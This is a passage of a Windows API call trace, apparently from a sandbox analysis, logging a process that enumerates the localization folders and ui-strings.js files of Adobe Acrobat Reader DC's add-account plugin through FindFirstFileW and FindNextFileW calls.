lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.644] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0247.644] GetProcessHeap () returned 0xc10000 [0247.644] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0247.645] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.645] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.645] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.645] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0247.645] GetProcessHeap () returned 0xc10000 [0247.645] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.646] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0247.646] GetProcessHeap () returned 0xc10000 [0247.646] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.646] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.647] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.647] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x97b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.647] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x97b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.647] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.647] GetProcessHeap () returned 0xc10000 [0247.647] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.647] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0247.648] GetProcessHeap () returned 0xc10000 [0247.648] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.649] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.649] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.649] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x76e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.650] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.650] GetProcessHeap () returned 0xc10000 [0247.650] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.650] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0247.650] GetProcessHeap () returned 0xc10000 [0247.650] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0247.651] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.651] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.651] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x71a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.651] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0247.651] GetProcessHeap () returned 0xc10000 [0247.651] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.651] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0247.651] GetProcessHeap () returned 0xc10000 [0247.651] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.652] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.652] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0247.652] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.652] GetProcessHeap () returned 0xc10000 [0247.652] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.653] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0247.653] GetProcessHeap () returned 0xc10000 [0247.653] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.653] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.653] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.654] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.654] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.654] GetProcessHeap () returned 0xc10000 [0247.654] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.654] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0247.654] GetProcessHeap () returned 0xc10000 [0247.654] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.655] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.655] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.655] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea28dac, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea28dac, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea28dac, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0247.655] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0247.655] GetProcessHeap () returned 0xc10000 [0247.655] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0247.655] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.656] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0247.656] GetProcessHeap () returned 0xc10000 [0247.656] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0247.656] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\add-account\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0247.656] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.656] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0247.656] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeea02b54, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeea02b54, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeea02b54, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 